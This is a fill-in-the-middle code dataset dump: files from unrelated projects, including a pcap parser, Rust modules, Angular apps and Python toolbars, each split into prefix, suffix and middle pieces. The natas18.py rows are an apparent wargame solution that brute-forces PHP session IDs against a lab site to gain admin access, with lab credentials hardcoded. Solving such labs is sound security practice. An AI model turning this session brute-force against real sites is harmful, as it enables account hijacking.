file_name
large_stringlengths
4
140
prefix
large_stringlengths
0
12.1k
suffix
large_stringlengths
0
12k
middle
large_stringlengths
0
7.51k
fim_type
large_stringclasses
4 values
parseL4Info.py
#!/usr/bin/env python # take a large pcap and dump the data into a CSV so it can be analysed by something like R. # # This version we want to know what the source IP is, what the protocol is and based on those # peices of info run a function to grab that data and write a line to a CSV file # # Ignore all traffic sourc...
(lyrlst, l4plist): if lyrlst._layer_name.lower() in l4plist: tmplist=[] tmpdict=lyrlst._all_fields for key in tmpdict: tmplist.append(tmpdict[key]) return "#".join(map(str,tmplist)) else: return def parseTCP(tpkt): #print "running parseTCP" if len(tp...
udpdecode
identifier_name
parseL4Info.py
#!/usr/bin/env python # take a large pcap and dump the data into a CSV so it can be analysed by something like R. # # This version we want to know what the source IP is, what the protocol is and based on those # peices of info run a function to grab that data and write a line to a CSV file # # Ignore all traffic sourc...
def initrow(): # iso-tstamp Date, iso-tstamp Time, epoch-tstamp, proto, src-ip, dest port/type, flag/code, src port, payload decode rwlist = [str('iso-date'),str('iso-time'),str('epoch-tstamp'),int(6),str('1.2.3.4'),None,None,None,None] return rwlist # Main flow thiscap = readpcap(ifile) wrstat = True ...
if int(evalpkt.ip.proto) == 6: parseTCP(evalpkt) elif int(evalpkt.ip.proto) == 1: parseICMP(evalpkt) elif int(evalpkt.ip.proto) == 17: parseUDP(evalpkt) else: parseIPother(evalpkt) return
identifier_body
parseL4Info.py
#!/usr/bin/env python # take a large pcap and dump the data into a CSV so it can be analysed by something like R. # # This version we want to know what the source IP is, what the protocol is and based on those # peices of info run a function to grab that data and write a line to a CSV file # # Ignore all traffic sourc...
else: parseIPother(evalpkt) return def initrow(): # iso-tstamp Date, iso-tstamp Time, epoch-tstamp, proto, src-ip, dest port/type, flag/code, src port, payload decode rwlist = [str('iso-date'),str('iso-time'),str('epoch-tstamp'),int(6),str('1.2.3.4'),None,None,None,None] return rwlist # ...
parseICMP(evalpkt) elif int(evalpkt.ip.proto) == 17: parseUDP(evalpkt)
random_line_split
natas18.py
# -*- coding: utf-8 -*- import requests URL = 'http://natas18.natas.labs.overthewire.org/' AUTH = ('natas18', 'xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP') def
(): param = { 'username': 'admin', 'password': 'hoge' } for i in range(640): cookies = { 'PHPSESSID': str(i) } r = requests.post(URL, auth=AUTH, data=param, cookies=cookies) if 'You are an admin.' in r.text: print "[+] %s: Hit!" % i print r.text break...
get_password
identifier_name
natas18.py
# -*- coding: utf-8 -*- import requests URL = 'http://natas18.natas.labs.overthewire.org/' AUTH = ('natas18', 'xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP') def get_password(): param = { 'username': 'admin', 'password': 'hoge' } for i in range(640):
if 'You are an admin.' in r.text: print "[+] %s: Hit!" % i print r.text break else: if (i % 10) == 0: print "[-] %s: failed." % i def main(): get_password() if __name__ == '__main__': try: main() except KeyboardInterru...
cookies = { 'PHPSESSID': str(i) } r = requests.post(URL, auth=AUTH, data=param, cookies=cookies)
random_line_split
natas18.py
# -*- coding: utf-8 -*- import requests URL = 'http://natas18.natas.labs.overthewire.org/' AUTH = ('natas18', 'xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP') def get_password(): param = { 'username': 'admin', 'password': 'hoge' } for i in range(640): cookies = { 'PHPSESSID': str(i) } r = requests.post(URL...
def main(): get_password() if __name__ == '__main__': try: main() except KeyboardInterrupt: pass
print "[-] %s: failed." % i
conditional_block
natas18.py
# -*- coding: utf-8 -*- import requests URL = 'http://natas18.natas.labs.overthewire.org/' AUTH = ('natas18', 'xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP') def get_password(): param = { 'username': 'admin', 'password': 'hoge' } for i in range(640): cookies = { 'PHPSESSID': str(i) } r = requests.post(URL...
if __name__ == '__main__': try: main() except KeyboardInterrupt: pass
get_password()
identifier_body
commands.py
import unittest from chat.commands.commandlist import CommandList from chat.command import Command from tests.structs.dummychat import DummyChat class TestCommands(unittest.TestCase):
def setUp(self): self.chat = DummyChat() def test_get(self): command = CommandList.get('help', self.chat, 'message') self.assertTrue(command and isinstance(command, Command), 'Command get failed') def test_validate(self): fail_msg = 'Command validate failed' self.asser...
identifier_body
commands.py
import unittest from chat.commands.commandlist import CommandList from chat.command import Command from tests.structs.dummychat import DummyChat class TestCommands(unittest.TestCase): def setUp(self): self.chat = DummyChat() def test_get(self): command = CommandList.get('help', self.chat, 'me...
(self): fail_msg = 'Command validate failed' self.assertTrue(CommandList.validate('help'), fail_msg) self.assertTrue(CommandList.validate('!help'), fail_msg) self.assertTrue(CommandList.validate('song'), fail_msg) self.assertTrue(CommandList.validate('!song'), fail_msg) ...
test_validate
identifier_name
commands.py
import unittest from chat.commands.commandlist import CommandList from chat.command import Command from tests.structs.dummychat import DummyChat class TestCommands(unittest.TestCase):
self.assertTrue(command and isinstance(command, Command), 'Command get failed') def test_validate(self): fail_msg = 'Command validate failed' self.assertTrue(CommandList.validate('help'), fail_msg) self.assertTrue(CommandList.validate('!help'), fail_msg) self.assertTrue(Com...
def setUp(self): self.chat = DummyChat() def test_get(self): command = CommandList.get('help', self.chat, 'message')
random_line_split
BatchSelectItemsGesture.ts
import { Gesture } from 'app/modules/editor/scripts/paper/gesture'; import { PaperLayer } from 'app/modules/editor/scripts/paper/item'; import { PaperService } from 'app/modules/editor/services'; import * as paper from 'paper'; /** * A gesture that selects one or more items using a selection box. * * Preconditions:...
// @Override onKeyUp(event: paper.KeyEvent) { if (event.key === 'alt') { this.selectItemsInSelectionBox(true); } } private selectItemsInSelectionBox(includePartialOverlaps: boolean) { const box = this.ps.getSelectionBox(); if (box) { const from = new paper.Point(box.from); c...
{ if (event.key === 'alt') { this.selectItemsInSelectionBox(false); } }
identifier_body
BatchSelectItemsGesture.ts
import { Gesture } from 'app/modules/editor/scripts/paper/gesture'; import { PaperLayer } from 'app/modules/editor/scripts/paper/item'; import { PaperService } from 'app/modules/editor/services'; import * as paper from 'paper'; /** * A gesture that selects one or more items using a selection box. * * Preconditions:...
(event: paper.ToolEvent) { this.ps.setSelectionBox({ from: this.pl.globalToLocal(event.downPoint), to: this.pl.globalToLocal(event.point), }); this.selectItemsInSelectionBox(!event.modifiers.alt); } // @Override onMouseUp(event: paper.ToolEvent) { this.selectItemsInSelectionBox(!event...
onMouseDrag
identifier_name
BatchSelectItemsGesture.ts
import { Gesture } from 'app/modules/editor/scripts/paper/gesture'; import { PaperLayer } from 'app/modules/editor/scripts/paper/item'; import { PaperService } from 'app/modules/editor/services'; import * as paper from 'paper'; /** * A gesture that selects one or more items using a selection box. * * Preconditions:...
onMouseDown(event: paper.ToolEvent) { if (!event.modifiers.shift) { // A selection box implies that the gesture began with a failed hit test, // so deselect everything on mouse down (unless the user is holding shift). this.ps.setSelectedLayerIds(new Set()); } // TODO: make use of this in...
// @Override
random_line_split
BatchSelectItemsGesture.ts
import { Gesture } from 'app/modules/editor/scripts/paper/gesture'; import { PaperLayer } from 'app/modules/editor/scripts/paper/item'; import { PaperService } from 'app/modules/editor/services'; import * as paper from 'paper'; /** * A gesture that selects one or more items using a selection box. * * Preconditions:...
} }
{ const from = new paper.Point(box.from); const to = new paper.Point(box.to); const selectedItems = this.pl.findItemsInBounds( new paper.Rectangle(from, to), includePartialOverlaps, ); this.ps.setSelectedLayerIds(new Set(selectedItems.map(i => i.data.id))); }
conditional_block
emoticons.ts
<?xml version="1.0" ?><!DOCTYPE TS><TS language="pl" sourcelanguage="en" version="2.1"> <context> <name>Emoticons</name> <message> <source>Emoticons</source> <translation>Emotki (buźki)</translation> </message> <message> <source>Allows to use your smiley images in messages</sourc...
<source>Do not convert text smileys to images</source> <translation type="unfinished"/> </message> <message> <source>Smileys:</source> <translation type="unfinished"/> </message> </context> </TS>
<source>Message windows</source> <translation type="unfinished"/> </message> <message>
random_line_split
webix-tests.ts
/// <reference path="webix.d.ts" /> //ajax operations webix.ready(function(){ webix.ajax().get("te").then(function(){ webix.message( webix.env.isFF ? "FireFox" : "Other" ); }); }); //webix helpers webix.html.addCss(document.body, "text"); webix.storage.local.get("mydata"); var proxy = webix.proxy("m...
var list = <webix.ui.list> $$("l1"); list.add({ value:"100" }); list.config.height = 100; //config typing var table:webix.ui.datatableConfig = {}; table.columns = []; table.autowidth = true; webix.ui({ rows:[ table ] }); //events list.attachEvent("onItemClick", function(id:string, e:Event){ var item = (<webix...
//specific types by id
random_line_split
userEditor.js
$(document).ready(function(){ $("#inc_tab #tb1").removeClass(); $("#inc_tab #tb4").addClass("active"); $("#user_name").blur(function(){ var user_name = $.trim($(this).val()); $(this).val(user_name); if (user_name.length==0)
$(this).parent().find("#user_name_null_warn").hide(); var user_id = $(this).parent().find("#user_id").val(); var obj = $(this).parent().find("#user_name_exist_warn"); $.post(app.global.variable.base_path +"user/name/verify", {user_id:user_id, user_name:user_name}, function(data) { if(data.toString().len...
{ $(this).parent().find("#user_name_null_warn").show(); $(this).parent().find("#user_name_exist_warn").hide(); return; }
conditional_block
userEditor.js
$(document).ready(function(){ $("#inc_tab #tb1").removeClass(); $("#inc_tab #tb4").addClass("active"); $("#user_name").blur(function(){ var user_name = $.trim($(this).val()); $(this).val(user_name); if (user_name.length==0){ $(this).parent().find("#user_name_null_warn").show(); $(this).parent().fin...
(){ var obj = $("#select_role_id"); var role_id_obj = obj.parent().find("#role_id"); $("#role_authority_"+role_id_obj.val()).hide(); $("#role_authority_"+obj.val()).show(); role_id_obj.val(obj.val()); } function user_sava_check(){ var obj = $("#user_editor_form"); var valid = true; obj.find(".functionWarn").ea...
selectRoleChange
identifier_name
userEditor.js
$(document).ready(function(){ $("#inc_tab #tb1").removeClass(); $("#inc_tab #tb4").addClass("active"); $("#user_name").blur(function(){ var user_name = $.trim($(this).val()); $(this).val(user_name); if (user_name.length==0){ $(this).parent().find("#user_name_null_warn").show(); $(this).parent().fin...
{ var obj = $("#user_editor_form"); var valid = true; obj.find(".functionWarn").each(function(){ if($(this).is(":visible")){ valid = false; } }) // 用户名 var user_name = obj.find("#user_name").val(); if(isSpace(user_name)){ obj.find("#user_name_null_warn").show(); valid = false; }else{ obj.find("#u...
identifier_body
userEditor.js
$(document).ready(function(){ $("#inc_tab #tb1").removeClass(); $("#inc_tab #tb4").addClass("active"); $("#user_name").blur(function(){ var user_name = $.trim($(this).val()); $(this).val(user_name); if (user_name.length==0){ $(this).parent().find("#user_name_null_warn").show(); $(this).parent().fin...
role_id_obj.val(obj.val()); } function user_sava_check(){ var obj = $("#user_editor_form"); var valid = true; obj.find(".functionWarn").each(function(){ if($(this).is(":visible")){ valid = false; } }) // 用户名 var user_name = obj.find("#user_name").val(); if(isSpace(user_name)){ obj.find("#user_name_n...
var role_id_obj = obj.parent().find("#role_id"); $("#role_authority_"+role_id_obj.val()).hide(); $("#role_authority_"+obj.val()).show();
random_line_split
basket.rs
use rocket_contrib::Template; use rocket::State; use model::{AuthUser, Basket}; use context::Context; use db::Db; #[get("/<username>/<basket>", rank = 10)] pub fn index( username: &str, basket: &str, auth_user: Option<AuthUser>, db: State<Db>, ) -> Option<Template> { handler(username, basket, aut...
name, ).unwrap(); } s }
{ use std::fmt::Write; let mut s = String::new(); let facades = [ ("foo", "Foo", ""), ("bar", "Bar", ""), ("baz", "Baz", ""), ("settings", "Settings", "float-right"), ]; for &(id, name, classes) in &facades { write!( s, r#"<li class=...
identifier_body
basket.rs
use rocket_contrib::Template; use rocket::State; use model::{AuthUser, Basket}; use context::Context; use db::Db; #[get("/<username>/<basket>", rank = 10)] pub fn index( username: &str, basket: &str, auth_user: Option<AuthUser>, db: State<Db>, ) -> Option<Template> { handler(username, basket, aut...
( username: &str, basket: &str, auth_user: Option<AuthUser>, db: State<Db>, facade: Option<&str>, ) -> Option<Template> { Basket::load(basket, username, auth_user.as_ref(), &db) .map(|basket| { // TODO: load facade let active_facade = facade.unwrap_or("settings")...
handler
identifier_name
basket.rs
use rocket_contrib::Template; use rocket::State; use model::{AuthUser, Basket}; use context::Context;
use db::Db; #[get("/<username>/<basket>", rank = 10)] pub fn index( username: &str, basket: &str, auth_user: Option<AuthUser>, db: State<Db>, ) -> Option<Template> { handler(username, basket, auth_user, db, None) } #[get("/<username>/<basket>/<facade>", rank = 10)] pub fn facade( username: &s...
random_line_split
properties-component.controller.ts
/// <reference path="../camelPlugin.ts"/> /// <reference path="properties.service.ts"/> namespace Camel { export function
($scope, workspace: Jmx.Workspace, jolokia: Jolokia.IJolokia, documentBase: string, propertiesService: PropertiesService) { 'ngInject'; function updateData() { var contextMBean = getSelectionCamelContextMBean(workspace); var componentMBeanName:string = null; if (!componentMBeanName) { ...
PropertiesComponentController
identifier_name
properties-component.controller.ts
/// <reference path="../camelPlugin.ts"/> /// <reference path="properties.service.ts"/> namespace Camel { export function PropertiesComponentController($scope, workspace: Jmx.Workspace, jolokia: Jolokia.IJolokia, documentBase: string, propertiesService: PropertiesService) { 'ngInject'; function updateD...
setTimeout(function() { $('[data-toggle=tooltip]').tooltip(); }, 1000); updateData(); } }
{ log.debug("Populate data", response); if (response.value) { let schema = JSON.parse(response.value); $scope.icon = UrlHelpers.join(documentBase, "/img/icons/camel/endpoint24.png"); $scope.title = schema.component.title; $scope.description = schema.component.description; ...
identifier_body
properties-component.controller.ts
/// <reference path="../camelPlugin.ts"/> /// <reference path="properties.service.ts"/> namespace Camel { export function PropertiesComponentController($scope, workspace: Jmx.Workspace, jolokia: Jolokia.IJolokia, documentBase: string, propertiesService: PropertiesService) { 'ngInject'; function updateD...
} setTimeout(function() { $('[data-toggle=tooltip]').tooltip(); }, 1000); updateData(); } }
{ let schema = JSON.parse(response.value); $scope.icon = UrlHelpers.join(documentBase, "/img/icons/camel/endpoint24.png"); $scope.title = schema.component.title; $scope.description = schema.component.description; $scope.labels = schema.component.label ? schema.component.label.sp...
conditional_block
properties-component.controller.ts
/// <reference path="../camelPlugin.ts"/> /// <reference path="properties.service.ts"/> namespace Camel { export function PropertiesComponentController($scope, workspace: Jmx.Workspace, jolokia: Jolokia.IJolokia, documentBase: string, propertiesService: PropertiesService) { 'ngInject'; function updateD...
updateData(); } }
random_line_split
clock.rs
// Copyright 2021 Google LLC // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in ...
}
random_line_split
clock.rs
// Copyright 2021 Google LLC // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in ...
() {} #[no_mangle] pub extern "C" fn proxy_on_memory_allocate(_: usize) -> *mut u8 { std::ptr::null_mut() } #[no_mangle] pub extern "C" fn run() { println!("monotonic: {:?}", Instant::now()); println!("realtime: {:?}", SystemTime::now()); }
proxy_abi_version_0_2_0
identifier_name
clock.rs
// Copyright 2021 Google LLC // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in ...
{ println!("monotonic: {:?}", Instant::now()); println!("realtime: {:?}", SystemTime::now()); }
identifier_body
EchoSrv.ts
/** * Describes a size with width/height * * @public */ export interface SizeMeta { width: number; height: number; } /** * Describes the meta information that are sent together with each event. * * @public */ export interface EchoMeta { screenSize: SizeMeta; windowSize: SizeMeta; userAgent: string; ...
(): EchoSrv { return singletonInstance; } /** * Used to register echo backends that will receive Grafana echo events during application * runtime. * * @public */ export const registerEchoBackend = (backend: EchoBackend) => { getEchoSrv().addBackend(backend); };
getEchoSrv
identifier_name
EchoSrv.ts
/** * Describes a size with width/height * * @public */ export interface SizeMeta { width: number; height: number; } /** * Describes the meta information that are sent together with each event. * * @public */ export interface EchoMeta { screenSize: SizeMeta; windowSize: SizeMeta; userAgent: string; ...
/** * Used to register echo backends that will receive Grafana echo events during application * runtime. * * @public */ export const registerEchoBackend = (backend: EchoBackend) => { getEchoSrv().addBackend(backend); };
{ return singletonInstance; }
identifier_body
EchoSrv.ts
/** * Describes a size with width/height * * @public */ export interface SizeMeta { width: number; height: number; } /** * Describes the meta information that are sent together with each event. * * @public */ export interface EchoMeta { screenSize: SizeMeta; windowSize: SizeMeta; userAgent: string; ...
*/ timeSinceNavigationStart: number; } /** * Describes echo backends that can be registered to receive of events. * * @public */ export interface EchoBackend<T extends EchoEvent = any, O = any> { options: O; supportedEvents: EchoEventType[]; flush: () => void; addEvent: (event: T) => void; } /** * D...
/** * A highres timestamp since navigation start
random_line_split
router.js
var page = require('page'); var model = require('./model')(); var attachFastClick = require('fastclick'); var UA = require('./ua'); var analytics = require('./analytics'); var fastclick; window.urlHistory = []; module.exports = function (app) { // Track history for session restoration page(function (ctx, next) { ...
fastclick = attachFastClick(document.body); } analytics.screenView({ screenName: ctx.canonicalPath }); document.querySelector('#app').scrollTop = 0; app.$broadcast('closeShim'); app.$broadcast('closeModalPrompt'); next(); }); page('/healthcheck', function () { app.$data...
{ fastclick.destroy(); }
conditional_block
router.js
var page = require('page'); var model = require('./model')(); var attachFastClick = require('fastclick'); var UA = require('./ua'); var analytics = require('./analytics'); var fastclick; window.urlHistory = []; module.exports = function (app) { // Track history for session restoration page(function (ctx, next) { ...
app.currentView = e.params.mode; app.params = e.params; }); page('/sign-in', '/'); // // Cordova page.redirect('/:platform/www/index.html', '/'); // Configuration page('*', function () { app.currentView = 'error'; app.params = { code: 404 }; }); // Init page({ click: ...
app.params = { code: 404 }; return; }
random_line_split
crate_map.rs
// Copyright 2013 The Rust Project Developers. See the COPYRIGHT // file at the top-level directory of this distribution and at // http://rust-lang.org/COPYRIGHT. // // Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or // http://www.apache.org/licenses/LICENSE-2.0> or the MIT license // <LICENSE-MIT or ...
let root_crate = CrateMapT2 { version: 1, annihilate_fn: ptr::null(), entries: vec::raw::to_ptr([ ModEntry { name: "t::f1".to_c_str().with_ref(|buf| buf), log_level: &mut 0}, ModEntry { name: ptr::null(), log_level: ptr::mut_null()} ]), ...
let child_crate1_ptr: *CrateMap = transmute(&child_crate1);
random_line_split
crate_map.rs
// Copyright 2013 The Rust Project Developers. See the COPYRIGHT // file at the top-level directory of this distribution and at // http://rust-lang.org/COPYRIGHT. // // Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or // http://www.apache.org/licenses/LICENSE-2.0> or the MIT license // <LICENSE-MIT or ...
(crate_map: *CrateMap) -> *ModEntry { match version(crate_map) { 0 => { let v0 = crate_map as (*CrateMapV0); return (*v0).entries; } 1 => return (*crate_map).entries, _ => fail!("Unknown crate map version!") } } unsafe fn iterator(crate_map: *CrateMap) ->...
entries
identifier_name
app.module.ts
/** * @author Damien Dell'Amico <damien.dellamico@gmail.com> * @copyright Copyright (c) 2017 * @license GPL-3.0 */ import { NgModule } from '@angular/core'; import { IonicApp, IonicModule } from 'ionic-angular'; import { TaxiApp } from './app.component'; import { AboutPage } from '../pages/about/about'; impor...
{ }
AppModule
identifier_name
app.module.ts
/** * @author Damien Dell'Amico <damien.dellamico@gmail.com> * @copyright Copyright (c) 2017 * @license GPL-3.0 */ import { NgModule } from '@angular/core'; import { IonicApp, IonicModule } from 'ionic-angular'; import { TaxiApp } from './app.component'; import { AboutPage } from '../pages/about/about'; impor...
TaxiApp, AboutPage, HomePage, RideListPage, MapComponent, SearchPage, ConfirmationPage ], imports: [ IonicModule.forRoot(TaxiApp), ], bootstrap: [IonicApp], entryComponents: [ TaxiApp, AboutPage, HomePage, RideListPage, SearchPage, ConfirmationPage ], ...
import { GeocoderService } from '../providers/map/geocoder.service'; import { MapService } from '../providers/map/map.service'; @NgModule({ declarations: [
random_line_split
qw.js
import * as assert from 'assert'; import {qw, qwm} from '../src/js-utils'; describe('qw', () => { it('simple', () => { const qwRes = qw(` str1 123 str2 str3\nstr4\tstr5 `);
assert.deepEqual(qwRes, ['str1', '123', 'str2', 'str3', 'str4', 'str5']); }); it('empty', () => { const qwRes = qw(` `); assert.deepEqual(qwRes, []); }); }); describe('qwm', () => { it('simple', () => { const qwRes = qwm(` key1 val1 key2 val2 key3 val3 `); assert.deepEqual(qwRes, {key1: 'val...
random_line_split
xmlbase.py
# encoding: utf-8 '''XML support. ''' import logging from smisk.serialization import serializers, data, Serializer, SerializationError, UnserializationError from smisk.core import Application try: import xml.etree.cElementTree as ET except ImportError: try: import xml.etree.ElementTree as ET except ImportError: ...
return root @classmethod def serialize(cls, params, charset): doc = cls.build_document(params) if cls.xml_declaration: string = (cls.xml_declaration % charset) else: string = '' if cls.xml_doctype: string += cls.xml_doctype string += ET.tostring(doc, charset).encode(c...
root.append(cls.build_object(obj))
conditional_block
xmlbase.py
# encoding: utf-8 '''XML support. ''' import logging from smisk.serialization import serializers, data, Serializer, SerializationError, UnserializationError from smisk.core import Application try: import xml.etree.cElementTree as ET except ImportError: try: import xml.etree.ElementTree as ET except ImportError: ...
Python object :rtype: xml.etree.Element ''' raise NotImplementedError('%s.build_object()' % cls.__name__) @classmethod def parse_document(cls, elem): '''Parse an element tree. :Parameters: elem : xml.etree.Element Document root element :rtype: object ''' ...
random_line_split
xmlbase.py
# encoding: utf-8 '''XML support. ''' import logging from smisk.serialization import serializers, data, Serializer, SerializationError, UnserializationError from smisk.core import Application try: import xml.etree.cElementTree as ET except ImportError: try: import xml.etree.ElementTree as ET except ImportError: ...
(cls, obj): '''Parse an object, potentially representing an element in a XML document. You must implement this method in order to enable encoding. :Parameters: obj : object Python object :rtype: xml.etree.Element ''' raise NotImplementedError('%s.build_object()' % cls.__n...
build_object
identifier_name
xmlbase.py
# encoding: utf-8 '''XML support. ''' import logging from smisk.serialization import serializers, data, Serializer, SerializationError, UnserializationError from smisk.core import Application try: import xml.etree.cElementTree as ET except ImportError: try: import xml.etree.ElementTree as ET except ImportError: ...
@classmethod def unserialize(cls, file, length=-1, charset=None): # return (list args, dict params) st = cls.parse_document(ET.fromstring(file.read(length))) if isinstance(st, dict): return (None, st) elif isinstance(st, list): return (st, None) else: return ((st,), None) ...
doc = cls.build_document(params) if cls.xml_declaration: string = (cls.xml_declaration % charset) else: string = '' if cls.xml_doctype: string += cls.xml_doctype string += ET.tostring(doc, charset).encode(charset, cls.unicode_errors) return (charset, string)
identifier_body
colorProvider.d.ts
import { Disposable, TextDocument, ProviderResult, Range as VRange, Color as VColor, ColorPresentation as VColorPresentation, ColorInformation as VColorInformation, DocumentColorProvider } from 'vscode'; import { ClientCapabilities, CancellationToken, ServerCapabilities, DocumentSelector, DocumentColorRegistrationOpti...
}
private asColorPresentations;
random_line_split
colorProvider.d.ts
import { Disposable, TextDocument, ProviderResult, Range as VRange, Color as VColor, ColorPresentation as VColorPresentation, ColorInformation as VColorInformation, DocumentColorProvider } from 'vscode'; import { ClientCapabilities, CancellationToken, ServerCapabilities, DocumentSelector, DocumentColorRegistrationOpti...
extends TextDocumentFeature<boolean | DocumentColorOptions, DocumentColorRegistrationOptions, DocumentColorProvider> { constructor(client: BaseLanguageClient); fillClientCapabilities(capabilites: ClientCapabilities): void; initialize(capabilities: ServerCapabilities, documentSelector: DocumentSelector):...
ColorProviderFeature
identifier_name
simdint.rs
// Copyright 2015 blake2-rfc Developers //
// http://opensource.org/licenses/MIT>, at your option. This file may not be // copied, modified, or distributed except according to those terms. #![allow(dead_code)] #[cfg(feature = "simd")] extern "platform-intrinsic" { pub fn simd_add<T>(x: T, y: T) -> T; pub fn simd_shl<T>(x: T, y: T) -> T; pub fn sim...
// Licensed under the Apache License, Version 2.0, <LICENSE-APACHE or // http://apache.org/licenses/LICENSE-2.0> or the MIT license <LICENSE-MIT or
random_line_split
pibrellaMidi.py
from mido import MidiFile from time import sleep import pibrella """ fade test pibrella.light.red.fade(0,100,10) sleep(11) pibrella.light.red.fade(100,0,10) sleep(11) """ """ start pibrella.buzzer.note(-9) sleep(.9) pibrella.buzzer.off() sleep(0.1) pibrella.buzzer.note(-9) sleep(0.9) pibrella.buzzer.off() sleep(0.1) ...
""" """ fail pibrella.buzzer.note(0) sleep(1.25) pibrella.buzzer.note(-7) sleep(2) pibrellay.buzzer.off() """ """ Mike notes for success likely bond theme and need a calibration mode push button yellow goes on then as turn the light can change untl the light changes press red button again to go back to operational st...
pibrella.buzzer.off()
random_line_split
pibrellaMidi.py
from mido import MidiFile from time import sleep import pibrella """ fade test pibrella.light.red.fade(0,100,10) sleep(11) pibrella.light.red.fade(100,0,10) sleep(11) """ """ start pibrella.buzzer.note(-9) sleep(.9) pibrella.buzzer.off() sleep(0.1) pibrella.buzzer.note(-9) sleep(0.9) pibrella.buzzer.off() sleep(0.1) ...
elif message.type == 'note_off': print(duration) duration = message.time - duration if duration > 0: sleep(duration/1000.0) pibrella.buzzer.off() pibrella.buzzer.off()
note = message.note - 69 print(note) pibrella.buzzer.note(note) duration = 0.0 + message.time
conditional_block
tag-align-dyn-variants.rs
// Copyright 2012-2014 The Rust Project Developers. See the COPYRIGHT // file at the top-level directory of this distribution and at // http://rust-lang.org/COPYRIGHT. // // Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or // http://www.apache.org/licenses/LICENSE-2.0> or the MIT license // <LICENSE-MI...
tB: a_tag<A,B> } fn mk_rec<A,B>(a: A, b: B) -> t_rec<A,B> { return t_rec{ chA:0u8, tA:varA(a), chB:1u8, tB:varB(b) }; } fn is_aligned<A>(amnt: uint, u: &A) -> bool { let p = ptr::to_unsafe_ptr(u) as uint; return (p & (amnt-1u)) == 0u; } fn variant_data_is_aligned<A,B>(amnt: uint, u: &a_tag<A,B>) -> b...
chB: u8,
random_line_split
tag-align-dyn-variants.rs
// Copyright 2012-2014 The Rust Project Developers. See the COPYRIGHT // file at the top-level directory of this distribution and at // http://rust-lang.org/COPYRIGHT. // // Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or // http://www.apache.org/licenses/LICENSE-2.0> or the MIT license // <LICENSE-MI...
<A,B> { varA(A), varB(B) } struct t_rec<A,B> { chA: u8, tA: a_tag<A,B>, chB: u8, tB: a_tag<A,B> } fn mk_rec<A,B>(a: A, b: B) -> t_rec<A,B> { return t_rec{ chA:0u8, tA:varA(a), chB:1u8, tB:varB(b) }; } fn is_aligned<A>(amnt: uint, u: &A) -> bool { let p = ptr::to_unsafe_ptr(u) as uint;...
a_tag
identifier_name
tag-align-dyn-variants.rs
// Copyright 2012-2014 The Rust Project Developers. See the COPYRIGHT // file at the top-level directory of this distribution and at // http://rust-lang.org/COPYRIGHT. // // Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or // http://www.apache.org/licenses/LICENSE-2.0> or the MIT license // <LICENSE-MI...
pub fn main() { let x = mk_rec(22u64, 23u64); assert!(is_aligned(8u, &x.tA)); assert!(variant_data_is_aligned(8u, &x.tA)); assert!(is_aligned(8u, &x.tB)); assert!(variant_data_is_aligned(8u, &x.tB)); let x = mk_rec(22u64, 23u32); assert!(is_aligned(8u, &x.tA)); assert!(variant_data_is...
{ match u { &varA(ref a) => is_aligned(amnt, a), &varB(ref b) => is_aligned(amnt, b) } }
identifier_body
volumestoolbar.py
import xapian import json import tempfile import shutil from sugar3.graphics.radiotoolbutton import RadioToolButton from sugar3.graphics.palette import Palette from sugar3.graphics import style from sugar3 import env from sugar3 import profile from jarabe.journal import model from jarabe.journal.misc import get_mount...
class BaseButton(RadioToolButton): __gsignals__ = { 'volume-error': (GObject.SignalFlags.RUN_FIRST, None, ([str, str])), } def __init__(self, mount_point): RadioToolButton.__init__(self) self.mount_point = mount_point self.drag_dest_set(Gtk.Dest...
button = self._get_button_for_mount(mount) button.props.active = True
identifier_body
volumestoolbar.py
import xapian import json import tempfile import shutil from sugar3.graphics.radiotoolbutton import RadioToolButton from sugar3.graphics.palette import Palette from sugar3.graphics import style from sugar3 import env from sugar3 import profile from jarabe.journal import model from jarabe.journal.misc import get_mount...
self.insert(button, position) button.show() self._volume_buttons.append(button) if len(self.get_children()) > 1: self.show() def __volume_error_cb(self, button, strerror, severity): self.emit('volume-error', strerror, severity) def _button_toggled_cb(self,...
button = VolumeButton(mount) button.props.group = self._volume_buttons[0] button.connect('toggled', self._button_toggled_cb) button.connect('volume-error', self.__volume_error_cb) position = self.get_item_index(self._volume_buttons[-1]) + 1
random_line_split
volumestoolbar.py
.radiotoolbutton import RadioToolButton from sugar3.graphics.palette import Palette from sugar3.graphics import style from sugar3 import env from sugar3 import profile from jarabe.journal import model from jarabe.journal.misc import get_mount_icon_name from jarabe.journal.misc import get_mount_color from jarabe.view.p...
VolumeButton
identifier_name
volumestoolbar.py
import xapian import json import tempfile import shutil from sugar3.graphics.radiotoolbutton import RadioToolButton from sugar3.graphics.palette import Palette from sugar3.graphics import style from sugar3 import env from sugar3 import profile from jarabe.journal import model from jarabe.journal.misc import get_mount...
if not os.path.exists(os.path.join(root, filename)): return if not metadata.get('title'): metadata['title'] = _('Untitled') fn = model.get_file_name(metadata['title'], metadata['mime_type']) new_filename = model.get_unique_file_name(root, fn) ...
return
conditional_block
memory.rs
// This file is part of zinc64. // Copyright (c) 2016-2019 Sebastian Jastrzebski. All rights reserved. // Licensed under the GPLv3. See LICENSE file in the project root for full license text. #[cfg(not(feature = "std"))] use alloc::prelude::*; use zinc64_core::{Addressable, AddressableFaded, Bank, Mmu, Ram, Rom, Share...
} #[cfg(test)] mod tests { /* FIXME nostd: enable test use super::*; use zinc64_core::{new_shared, Addressable, Ram, Rom}; impl Addressable for Ram { fn read(&self, address: u16) -> u8 { self.read(address) } fn write(&mut self, address: u16, value: u8) { ...
